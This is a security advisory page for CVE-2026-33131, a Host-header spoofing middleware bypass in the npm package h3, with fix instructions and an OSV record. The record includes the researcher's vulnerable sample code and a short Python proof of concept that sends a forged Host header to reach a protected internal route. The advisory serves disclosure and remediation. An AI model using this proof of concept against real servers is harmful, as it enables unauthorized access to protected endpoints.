CVE-2026-33131: H3 H3 Has A Middleware Bypass Vulnerability
HIGHCVE-2026-33131 is a HIGH (CVSS 7.4) h3 has a middleware bypass vulnerability (CWE-290: Authentication Bypass by Spoofing) affecting H3 libraries in the npm ecosystem. The issue involves h3 has a middleware bypass with one gadget. Remediation is available by upgrading affected packages to version 2.0.1-rc.15.
CVE-2026-33131 at a Glance
Security Impact
CVSS: 7.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).
How to Fix CVE-2026-33131
To remediate this vulnerability, upgrade all affected H3 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install h3@2.0.1-rc.15
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls h3
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-33131, inspect your project dependencies using npm:
npm ls h3
Analyze the terminal output to locate any version of H3 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.1-rc.15), your application is affected.
Note: The npm ls h3 command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-290: Authentication Bypass by Spoofing, where this attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks. In H3, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-33131 Affected H3 Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
h3
|
npm |
≥ 2.0.0-0
< 2.0.1-rc.15
|
2.0.1-rc.15
|
References
Frequently Asked Questions
What is CVE-2026-33131?
Which H3 versions are affected?
What version fixes CVE-2026-33131?
Is h3 affected?
What is the CVSS score of CVE-2026-33131?
What CWE is associated with CVE-2026-33131?
How can I check npm dependencies for CVE-2026-33131?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-3vj8-jmxq-cgj5",
"modified" : "2026-03-20T21:28:00Z",
"published" : "2026-03-18T16:18:12Z",
"aliases" : [ "CVE-2026-33131" ],
"summary" : "h3 has a middleware bypass with one gadget",
"details" : "# H3 NodeRequestUrl bugs \n\nVulnerable pieces of code : \n```js\nimport { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from \"h3\";\nlet app = new H3()\n\nconst internalOnly = defineHandler((event, next) => {\n const token = event.headers.get(\"x-internal-key\");\n\n if (token !== \"SUPERRANDOMCANNOTBELEAKED\") {\n return new Response(\"Forbidden\", { status: 403 });\n }\n\n return next();\n});\nconst logger = defineHandler((event, next) => {\n console.log(\"Logging : \" + event.url.hostname)\n return next() \n})\napp.use(logger);\napp.use(\"/internal/run\", internalOnly);\n\n\napp.get(\"/internal/run\", () => {\n return \"Internal OK\";\n});\n\nserve(app, { port: 3001 });\n```\n\nThe middleware is super safe now with just a logger and a middleware to block internal access.\nBut there's one problems here at the logger .\nWhen it log out the ```event.url``` or ```event.url.hostname``` or ```event.url._url```\n\nIt will lead to trigger one specials method \n\n```js \n// _url.mjs FastURL\nget _url() {\n if (this.#url) return this.#url;\n this.#url = new NativeURL(this.href);\n this.#href = void 0;\n this.#protocol = void 0;\n this.#host = void 0;\n this.#pathname = void 0;\n this.#search = void 0;\n this.#searchParams = void 0;\n this.#pos = void 0;\n return this.#url;\n}\n```\n\nThe `NodeRequestUrl` is extends from `FastURL` so when we just access ```.url``` or trying to dump all data of this class . This function will be triggered !! \n\nAnd as debugging , the `this.#url` is null and will reach to this code : \n```js\n this.#url = new NativeURL(this.href);\n```\nWhere is the `this.href` comes from ? \n```js \nget href() {\n if (this.#url) return this.#url.href;\n if (!this.#href) this.#href = `${this.#protocol || \"http:\"}//${this.#host || \"localhost\"}${this.#pathname || \"/\"}${this.#search || \"\"}`;\n return this.#href;\n}\n```\nBecause the `this.#url` is still null so `this.#href` is built up by : \n```js\nif (!this.#href) this.#href = `${this.#protocol || \"http:\"}//${this.#host || \"localhost\"}${this.#pathname || \"/\"}${this.#search || \"\"}`;\n```\nYeah and this is untrusted data go . An attacker can pollute the `Host` header from requests lead overwrite the `event.url` .\n\n# Middleware bypass\nWhat can be done with overwriting the `event.url`? \nAudit the code we can easily realize that the `routeHanlder` is found before running any middlewares \n```js\nhandler(event) {\n const route = this[\"~findRoute\"](event);\n if (route) {\n event.context.params = route.params;\n event.context.matchedRoute = route.data;\n }\n const routeHandler = route?.data.handler || NoHandler;\n const middleware = this[\"~getMiddleware\"](event, route);\n return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event);\n}\n```\n\nSo the handleRoute is fixed but when checking with middleware it check with the **spoofed** one lead to **MIDDLEWARE BYPASS**\n\nWe have this poc : \n```py\nimport requests\nurl = \"http://localhost:3000\"\nheaders = {\n \"Host\":f\"localhost:3000/abchehe?\"\n}\nres = requests.get(f\"{url}/internal/run\",headers=headers)\nprint(res.text)\n```\n\nThis is really dangerous if some one just try to dump all the `event.url` or something that trigger `_url()` from class FastURL and need a fix immediately.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "h3"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.0.0-0"
}, {
"fixed" : "2.0.1-rc.15"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/h3js/h3/security/advisories/GHSA-3vj8-jmxq-cgj5"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33131"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/h3js/h3"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-290" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-18T16:18:12Z",
"nvd_published_at" : "2026-03-20T11:18:02Z"
}
}